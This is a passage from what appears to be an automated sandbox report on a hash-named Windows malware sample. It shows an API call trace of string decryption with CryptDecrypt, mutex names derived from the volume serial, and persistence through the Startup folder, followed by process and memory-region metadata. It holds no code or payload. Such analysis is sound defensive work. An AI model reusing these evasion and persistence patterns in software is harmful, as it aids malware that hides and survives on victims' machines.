(dwErrCode=0x0) [0132.815] GetLastError () returned 0x0 [0132.815] SetLastError (dwErrCode=0x0) [0132.815] GetLastError () returned 0x0 [0132.815] SetLastError (dwErrCode=0x0) [0132.815] GetLastError () returned 0x0 [0132.815] SetLastError (dwErrCode=0x0) [0132.815] GetLastError () returned 0x0 [0132.815] SetLastError (dwErrCode=0x0) [0132.815] GetLastError () returned 0x0 [0132.815] SetLastError (dwErrCode=0x0) [0132.815] GetLastError () returned 0x0 [0132.815] SetLastError (dwErrCode=0x0) [0132.815] GetLastError () returned 0x0 [0132.815] SetLastError (dwErrCode=0x0) [0132.815] GetLastError () returned 0x0 [0132.815] SetLastError (dwErrCode=0x0) [0132.815] GetLastError () returned 0x0 [0132.816] SetLastError (dwErrCode=0x0) [0132.816] GetLastError () returned 0x0 [0132.816] SetLastError (dwErrCode=0x0) [0132.816] GetLastError () returned 0x0 [0132.816] SetLastError (dwErrCode=0x0) [0132.816] GetLastError () returned 0x0 [0132.816] SetLastError (dwErrCode=0x0) [0132.816] GetLastError () returned 0x0 [0132.816] SetLastError (dwErrCode=0x0) [0132.816] GetLastError () returned 0x0 [0132.816] SetLastError (dwErrCode=0x0) [0132.816] GetLastError () returned 0x0 [0132.816] SetLastError (dwErrCode=0x0) [0132.816] GetLastError () returned 0x0 [0132.816] SetLastError (dwErrCode=0x0) [0132.816] GetLastError () returned 0x0 [0132.816] SetLastError (dwErrCode=0x0) [0132.816] GetLastError () returned 0x0 [0132.816] SetLastError (dwErrCode=0x0) [0132.816] GetLastError () returned 0x0 [0132.816] SetLastError (dwErrCode=0x0) [0132.816] GetLastError () returned 0x0 [0132.817] SetLastError (dwErrCode=0x0) [0132.817] GetLastError () returned 0x0 [0132.817] SetLastError (dwErrCode=0x0) [0132.817] GetLastError () returned 0x0 [0132.817] SetLastError (dwErrCode=0x0) [0132.817] GetLastError () returned 0x0 [0132.817] SetLastError (dwErrCode=0x0) [0132.817] GetLastError () returned 0x0 [0132.817] SetLastError (dwErrCode=0x0) [0132.817] GetLastError () returned 0x0 [0132.817] SetLastError (dwErrCode=0x0) [0132.817] GetLastError () returned 0x0 [0132.817] SetLastError (dwErrCode=0x0) [0132.817] GetLastError () returned 0x0 [0132.817] SetLastError (dwErrCode=0x0) [0132.817] GetLastError () returned 0x0 [0132.817] SetLastError (dwErrCode=0x0) [0132.817] GetLastError () returned 0x0 [0132.817] SetLastError (dwErrCode=0x0) [0132.817] GetLastError () returned 0x0 [0132.817] SetLastError (dwErrCode=0x0) [0132.817] GetLastError () returned 0x0 [0132.817] SetLastError (dwErrCode=0x0) [0132.818] GetLastError () returned 0x0 [0132.818] SetLastError (dwErrCode=0x0) [0132.818] GetLastError () returned 0x0 [0132.818] SetLastError (dwErrCode=0x0) [0132.818] GetLastError () returned 0x0 [0132.818] SetLastError (dwErrCode=0x0) [0132.818] GetLastError () returned 0x0 [0132.818] SetLastError (dwErrCode=0x0) [0132.818] GetLastError () returned 0x0 [0132.818] SetLastError (dwErrCode=0x0) [0132.818] GetLastError () returned 0x0 [0132.818] SetLastError (dwErrCode=0x0) [0132.818] GetLastError () returned 0x0 [0132.818] SetLastError (dwErrCode=0x0) [0132.818] GetLastError () returned 0x0 [0132.818] SetLastError (dwErrCode=0x0) [0132.818] GetLastError () returned 0x0 [0132.818] SetLastError (dwErrCode=0x0) [0132.818] GetLastError () returned 0x0 [0132.818] SetLastError (dwErrCode=0x0) [0132.818] GetLastError () returned 0x0 [0132.818] SetLastError (dwErrCode=0x0) [0132.819] GetLastError () returned 0x0 [0132.819] SetLastError (dwErrCode=0x0) [0132.819] GetLastError () returned 0x0 [0132.819] SetLastError (dwErrCode=0x0) [0132.819] GetLastError () returned 0x0 [0132.819] SetLastError (dwErrCode=0x0) [0132.819] GetLastError () returned 0x0 [0132.819] SetLastError (dwErrCode=0x0) [0132.819] GetLastError () returned 0x0 [0132.819] SetLastError (dwErrCode=0x0) [0132.819] GetLastError () returned 0x0 [0132.819] SetLastError (dwErrCode=0x0) [0132.819] GetLastError () returned 0x0 [0132.819] SetLastError (dwErrCode=0x0) [0132.819] GetLastError () returned 0x0 [0132.819] SetLastError (dwErrCode=0x0) [0132.819] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x9c) returned 0x9d1a80 [0132.819] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x1f) returned 0x9d1b28 [0132.819] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x2b) returned 0x9d1b50 [0132.819] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x37) returned 0x9d1b88 [0132.819] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x3c) returned 0x9d1bc8 [0132.819] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x31) returned 0x9d1c10 [0132.819] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x18) returned 0x9d1c50 [0132.819] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x24) returned 0x9d1c70 [0132.819] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x14) returned 0x9d1ca0 [0132.819] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0xd) returned 0x9d1cc0 [0132.820] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x1a) returned 0x9d1cd8 [0132.820] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x2e) returned 0x9d1d00 [0132.820] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x19) returned 0x9d1d38 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x17) returned 0x9d1d60 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0xe) returned 0x9d1d80 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0xce) returned 0x9d1d98 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x3e) returned 0x9d1e70 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x1b) returned 0x9d1eb8 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x1d) returned 0x9d1ee0 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x48) returned 0x9d1f08 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x12) returned 0x9d1f58 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x18) returned 0x9d1f78 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x1b) returned 0x9d1f98 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x24) returned 0x9d1fc0 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x29) returned 0x9d1ff0 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x1e) returned 0x9d2028 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x6b) returned 0x9d2050 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x17) returned 0x9d20c8 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x14) returned 0x9d20e8 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0xf) returned 0x9d2108 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x16) returned 0x9d2120 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x2a) returned 0x9d2140 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x29) returned 0x9d2178 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x16) returned 0x9d21b0 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x13) returned 0x9d21d0 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x1f) returned 0x9d21f0 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x12) returned 0x9d2218 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x18) returned 0x9d2238 [0132.824] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x46) returned 0x9d2258 [0132.839] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d11f8 | out: hHeap=0x9d0000) returned 1 [0132.840] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0132.840] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9d11f8 [0132.841] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xad81f6) returned 0x0 [0132.841] RtlSizeHeap (HeapHandle=0x9d0000, Flags=0x0, MemoryPointer=0x9d11f8) returned 0x80 [0132.841] GetLastError () returned 0x0 [0132.841] SetLastError (dwErrCode=0x0) [0132.841] GetLastError () returned 0x0 [0132.842] SetLastError (dwErrCode=0x0) [0132.842] GetLastError () returned 0x0 [0132.842] SetLastError (dwErrCode=0x0) [0132.842] GetLastError () returned 0x0 [0132.842] SetLastError (dwErrCode=0x0) [0132.842] GetLastError () returned 0x0 [0132.842] SetLastError (dwErrCode=0x0) [0132.842] GetLastError () returned 0x0 [0132.842] SetLastError (dwErrCode=0x0) [0132.842] GetLastError () returned 0x0 [0132.842] SetLastError (dwErrCode=0x0) [0132.843] GetLastError () returned 0x0 [0132.843] SetLastError (dwErrCode=0x0) [0132.843] GetLastError () returned 0x0 [0132.843] SetLastError (dwErrCode=0x0) [0132.843] GetLastError () returned 0x0 [0132.843] SetLastError (dwErrCode=0x0) [0132.843] GetLastError () returned 0x0 [0132.843] SetLastError (dwErrCode=0x0) [0132.843] GetLastError () returned 0x0 [0132.843] SetLastError (dwErrCode=0x0) [0132.843] GetLastError () returned 0x0 [0132.844] SetLastError (dwErrCode=0x0) [0132.844] GetLastError () returned 0x0 [0132.844] SetLastError (dwErrCode=0x0) [0132.844] GetLastError () returned 0x0 [0132.844] SetLastError (dwErrCode=0x0) [0132.844] GetLastError () returned 0x0 [0132.844] SetLastError (dwErrCode=0x0) [0132.844] GetLastError () returned 0x0 [0132.844] SetLastError (dwErrCode=0x0) [0132.844] GetLastError () returned 0x0 [0132.844] SetLastError (dwErrCode=0x0) [0132.845] GetLastError () returned 0x0 [0132.845] SetLastError (dwErrCode=0x0) [0132.845] GetLastError () returned 0x0 [0132.845] SetLastError (dwErrCode=0x0) [0132.845] GetLastError () returned 0x0 [0132.845] SetLastError (dwErrCode=0x0) [0132.845] GetLastError () returned 0x0 [0132.845] SetLastError (dwErrCode=0x0) [0132.845] GetLastError () returned 0x0 [0132.845] SetLastError (dwErrCode=0x0) [0132.845] GetLastError () returned 0x0 [0132.846] SetLastError (dwErrCode=0x0) [0132.846] GetLastError () returned 0x0 [0132.846] SetLastError (dwErrCode=0x0) [0132.846] GetLastError () returned 0x0 [0132.846] SetLastError (dwErrCode=0x0) [0132.846] GetLastError () returned 0x0 [0132.846] SetLastError (dwErrCode=0x0) [0132.846] GetLastError () returned 0x0 [0132.846] SetLastError (dwErrCode=0x0) [0132.846] GetLastError () returned 0x0 [0132.846] SetLastError (dwErrCode=0x0) [0132.846] GetLastError () returned 0x0 [0132.847] SetLastError (dwErrCode=0x0) [0132.847] GetLastError () returned 0x0 [0132.847] SetLastError (dwErrCode=0x0) [0132.847] GetLastError () returned 0x0 [0132.847] SetLastError (dwErrCode=0x0) [0132.847] GetLastError () returned 0x0 [0132.847] SetLastError (dwErrCode=0x0) [0132.847] GetLastError () returned 0x0 [0132.847] SetLastError (dwErrCode=0x0) [0132.847] GetLastError () returned 0x0 [0132.847] SetLastError (dwErrCode=0x0) [0132.847] GetLastError () returned 0x0 [0132.848] SetLastError (dwErrCode=0x0) [0132.848] GetLastError () returned 0x0 [0132.848] SetLastError (dwErrCode=0x0) [0132.848] GetLastError () returned 0x0 [0132.848] SetLastError (dwErrCode=0x0) [0132.848] GetLastError () returned 0x0 [0132.848] SetLastError (dwErrCode=0x0) [0132.848] GetLastError () returned 0x0 [0132.848] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x30) returned 0x9d1280 [0132.849] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x2d40) returned 0x9d22a8 [0132.849] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x174) returned 0x9d12b8 [0132.849] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x10) returned 0x9d1438 [0132.849] CryptAcquireContextW (in: phProv=0xadfcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xadfcf0*=0x4150c0) returned 1 [0132.952] CryptImportKey (in: hProv=0x4150c0, pbData=0x39fdb8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fe20 | out: phKey=0x39fe20*=0x415068) returned 1 [0132.993] CryptSetKeyParam (hKey=0x415068, dwParam=0x1, pbData=0x39fe08, dwFlags=0x0) returned 1 [0132.993] CryptDecrypt (in: hKey=0x415068, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9d1438, pdwDataLen=0x39fdd4 | out: pbData=0x9d1438, pdwDataLen=0x39fdd4) returned 1 [0132.993] CryptDestroyKey (hKey=0x415068) returned 1 [0132.993] GetTickCount () returned 0x7720 [0132.993] GetLastError () returned 0x0 [0132.993] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x39fe44, cchData=32 | out: lpLCData="\x03") returned 16 [0132.995] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1c) returned 0x9d1450 [0132.995] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1c) returned 0x9d1478 [0132.995] GetVersion () returned 0x1db10106 [0132.995] GetCurrentProcess () returned 0xffffffff [0132.995] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x39fe2c | out: TokenHandle=0x39fe2c*=0x84) returned 1 [0132.995] GetTokenInformation (in: TokenHandle=0x84, TokenInformationClass=0x14, TokenInformation=0x39fe24, TokenInformationLength=0x4, ReturnLength=0x39fe28 | out: TokenInformation=0x39fe24, ReturnLength=0x39fe28) returned 1 [0132.995] CloseHandle (hObject=0x84) returned 1 [0132.995] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x20) returned 0x9d14a0 [0132.995] CryptImportKey (in: hProv=0x4150c0, pbData=0x39fd20*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fd88 | out: phKey=0x39fd88*=0x4154d8) returned 1 [0132.995] CryptSetKeyParam (hKey=0x4154d8, dwParam=0x1, pbData=0x39fd70, dwFlags=0x0) returned 1 [0132.995] CryptDecrypt (in: hKey=0x4154d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9d14a0, pdwDataLen=0x39fd3c | out: pbData=0x9d14a0, pdwDataLen=0x39fd3c) returned 1 [0132.995] CryptDestroyKey (hKey=0x4154d8) returned 1 [0132.995] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x1e) returned 0x9d14c8 [0132.996] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1e) returned 0x9d14f0 [0132.996] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x90) returned 0x9d1518 [0132.996] CryptImportKey (in: hProv=0x4150c0, pbData=0x39fcf8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fd60 | out: phKey=0x39fd60*=0x4154d8) returned 1 [0132.996] CryptSetKeyParam (hKey=0x4154d8, dwParam=0x1, pbData=0x39fd48, dwFlags=0x0) returned 1 [0132.996] CryptDecrypt (in: hKey=0x4154d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9d1518, pdwDataLen=0x39fd14 | out: pbData=0x9d1518, pdwDataLen=0x39fd14) returned 1 [0132.996] CryptDestroyKey (hKey=0x4154d8) returned 1 [0132.996] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d1518 | out: hHeap=0x9d0000) returned 1 [0132.996] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x9d14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0132.996] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d14f0 | out: hHeap=0x9d0000) returned 1 [0132.997] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d14a0 | out: hHeap=0x9d0000) returned 1 [0132.997] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x39fdc8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x39fdc8*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0132.997] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d14c8 | out: hHeap=0x9d0000) returned 1 [0132.997] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x40) returned 0x9d14a0 [0132.998] CryptImportKey (in: hProv=0x4150c0, pbData=0x39fd54*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fdbc | out: phKey=0x39fdbc*=0x4154d8) returned 1 [0132.998] CryptSetKeyParam (hKey=0x4154d8, dwParam=0x1, pbData=0x39fda4, dwFlags=0x0) returned 1 [0132.998] CryptDecrypt (in: hKey=0x4154d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9d14a0, pdwDataLen=0x39fd70 | out: pbData=0x9d14a0, pdwDataLen=0x39fd70) returned 1 [0132.998] CryptDestroyKey (hKey=0x4154d8) returned 1 [0132.998] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x34) returned 0x9d14e8 [0132.998] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x0 [0132.998] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF01") returned 0x88 [0132.998] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0132.998] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d14a0 | out: hHeap=0x9d0000) returned 1 [0132.999] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d14e8 | out: hHeap=0x9d0000) returned 1 [0132.999] ReleaseMutex (hMutex=0x88) returned 1 [0132.999] CloseHandle (hObject=0x88) returned 1 [0132.999] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x20) returned 0x9d14a0 [0132.999] CryptImportKey (in: hProv=0x4150c0, pbData=0x39fd34*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fd9c | out: phKey=0x39fd9c*=0x4154d8) returned 1 [0132.999] CryptSetKeyParam (hKey=0x4154d8, dwParam=0x1, pbData=0x39fd84, dwFlags=0x0) returned 1 [0132.999] CryptDecrypt (in: hKey=0x4154d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9d14a0, pdwDataLen=0x39fd50 | out: pbData=0x9d14a0, pdwDataLen=0x39fd50) returned 1 [0132.999] CryptDestroyKey (hKey=0x4154d8) returned 1 [0132.999] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x1e) returned 0x9d14c8 [0132.999] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1e) returned 0x9d14f0 [0132.999] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x90) returned 0x9d1518 [0132.999] CryptImportKey (in: hProv=0x4150c0, pbData=0x39fd0c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fd74 | out: phKey=0x39fd74*=0x4154d8) returned 1 [0132.999] CryptSetKeyParam (hKey=0x4154d8, dwParam=0x1, pbData=0x39fd5c, dwFlags=0x0) returned 1 [0133.000] CryptDecrypt (in: hKey=0x4154d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9d1518, pdwDataLen=0x39fd28 | out: pbData=0x9d1518, pdwDataLen=0x39fd28) returned 1 [0133.000] CryptDestroyKey (hKey=0x4154d8) returned 1 [0133.000] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d1518 | out: hHeap=0x9d0000) returned 1 [0133.000] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x9d14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0133.000] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d14f0 | out: hHeap=0x9d0000) returned 1 [0133.001] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d14a0 | out: hHeap=0x9d0000) returned 1 [0133.001] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x39fddc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x39fddc*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0133.001] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d14c8 | out: hHeap=0x9d0000) returned 1 [0133.001] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x40) returned 0x9d14a0 [0133.001] CryptImportKey (in: hProv=0x4150c0, pbData=0x39fd68*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39fdd0 | out: phKey=0x39fdd0*=0x4154d8) returned 1 [0133.001] CryptSetKeyParam (hKey=0x4154d8, dwParam=0x1, pbData=0x39fdb8, dwFlags=0x0) returned 1 [0133.001] CryptDecrypt (in: hKey=0x4154d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9d14a0, pdwDataLen=0x39fd84 | out: pbData=0x9d14a0, pdwDataLen=0x39fd84) returned 1 [0133.001] CryptDestroyKey (hKey=0x4154d8) returned 1 [0133.001] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x34) returned 0x9d14e8 [0133.001] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x88 [0133.001] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0133.001] CloseHandle (hObject=0x88) returned 1 [0133.002] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d14a0 | out: hHeap=0x9d0000) returned 1 [0133.002] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d14e8 | out: hHeap=0x9d0000) returned 1 [0133.002] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d1450 | out: hHeap=0x9d0000) returned 1 [0133.003] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d1478 | out: hHeap=0x9d0000) returned 1 [0133.003] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d1438 | out: hHeap=0x9d0000) returned 1 [0133.004] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d12b8 | out: hHeap=0x9d0000) returned 1 [0133.004] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d22a8 | out: hHeap=0x9d0000) returned 1 [0133.005] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d1280 | out: hHeap=0x9d0000) returned 1 [0133.005] GetModuleHandleW (lpModuleName="mscoree.dll") returned 0x0 [0133.005] ExitProcess (uExitCode=0x0) [0133.006] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0x9d07d0 | out: hHeap=0x9d0000) returned 1 Process: id = "12" image_name = "34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" page_root = "0x11f46000" os_pid = "0x768" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x6fc" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fcb1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2970 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2971 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2972 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2973 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2974 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2975 start_va = 0x190000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 2976 start_va = 0x360000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 2977 start_va = 0x1150000 end_va = 0x1164fff monitored = 1 entry_point = 0x1156652 region_type = mapped_file name = "34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" filename = "\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe") Region: id = 2978 start_va = 0x77440000 end_va = 0x775e8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2979 start_va = 0x77620000 end_va = 0x7779ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2980 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2981 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2982 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2983 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2984 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2985 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2986 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2987 start_va = 0x460000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 2988 start_va = 0x73db0000 end_va = 0x73deefff monitored = 0 entry_point = 0x73dde088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2989 start_va = 0x73d50000 end_va = 0x73dabfff monitored = 0 entry_point = 0x73d8f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: 